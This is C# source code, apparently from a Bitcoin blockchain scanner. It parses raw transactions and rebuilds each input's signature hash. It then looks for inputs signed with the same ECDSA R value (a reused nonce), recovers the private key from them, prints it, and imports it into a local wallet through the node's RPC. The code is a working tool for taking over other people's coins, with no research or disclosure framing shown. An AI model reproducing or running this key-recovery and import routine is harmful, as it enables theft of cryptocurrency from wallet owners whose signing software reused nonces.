private static Tx ParseTx(ArraySegment <byte> rtx) { var tx = new Tx(); using (var memr = new MemoryStream(rtx.Array, rtx.Offset, rtx.Count)) { using (var reader = new BinaryReader(memr)) { tx.Version = reader.ReadInt32(); var ic = reader.ReadVarInt(); tx.Inputs = new List <Input>((int)ic); for (var i = 0; i < ic; i++) { var input = new Input(); input.Previous = reader.ReadBytes(32); input.PreviousSeq = reader.ReadInt32(); input.ScriptLength = reader.ReadVarInt(); input.Script = reader.ReadBytes(3); if (!(input.Script[1] == 0x30 && (input.Script[0] == input.Script[2] + 3))) { throw new Exception(); } var vv = reader.ReadByte(); input.rawR = reader.ReadStringAsByteArray(); vv = reader.ReadByte(); input.rawS = reader.ReadStringAsByteArray(); input.HashType = reader.ReadByte(); input.PublicKey = reader.ReadStringAsByteArray(); input.Seq = reader.ReadInt32(); tx.Inputs.Add(input); } var oc = reader.ReadVarInt(); tx.Outputs = new List <Output>((int)oc); for (int i = 0; i < oc; i++) { var output = new Output(); output.Value = reader.ReadInt64(); output.ScriptLength = reader.ReadByte(); output.Script = reader.ReadBytes(output.ScriptLength); tx.Outputs.Add(output); } tx.Locktime = reader.ReadInt32(); } } return(tx); }
private void ProcessTransaction(Tx tx) { if (tx.Inputs.Count < 2) { return; } for (var i = 0; i < tx.Inputs.Count; i++) { var vin = tx.Inputs[i]; using (var memw = new MemoryStream()) { using (var writer = new BinaryWriter(memw)) { writer.Write(tx.Version); writer.Write((byte)tx.Inputs.Count); for (var j = 0; j < tx.Inputs.Count; j++) { var vinj = tx.Inputs[j]; writer.Write(vinj.Previous); writer.Write(vinj.PreviousSeq); if (i == j) { var parentTxId = _btc.GetRawTransaction(vin.Previous.Reverse().ToHex(), 0); var parentTx = ParseTx(parentTxId.ToByteArray()); var output = parentTx.Outputs[vin.PreviousSeq]; writer.Write(output.ScriptLength); writer.Write(output.Script); } else { writer.Write((byte)0); } writer.Write(vinj.Seq); } writer.Write((byte)tx.Outputs.Count); for (int k = 0; k < tx.Outputs.Count; k++) { var tout = tx.Outputs[k]; writer.Write(tout.Value); writer.Write(tout.ScriptLength); writer.Write(tout.Script); } writer.Write(tx.Locktime); writer.Write(0x1); var raw = memw.ToArray(); var hash = _sha256.ComputeHash(raw); hash = _sha256.ComputeHash(hash); tx.Inputs[i].M = BigIntegerEx.FromByteArray(hash); } } //Console.Write("{0} => Analizando TxId: {1}", DateTime.Now, txId); // Find duplicated R values var inputs = tx.Inputs.GroupBy(x => x.R) .Where(x => x.Count() >= 2) .Select(y => y) .ToList(); if (inputs.Any()) { var i0 = inputs[0].First(); var i1 = inputs[0].Last(); var pp = CalculatePrivateKey(i0.M, i1.M, i0.S, i1.S, i0.R); var pkwif = KeyToWIF(pp.ToString(16)); Console.WriteLine(" **************************************************************************"); Console.WriteLine(" **** pk: {0}", pkwif); Console.WriteLine(" **************************************************************************"); _btc.ImportPrivKey(pkwif, "", false); for (int ii = 0; ii < 150; ii++) { Console.Beep(); } } Console.WriteLine(""); } }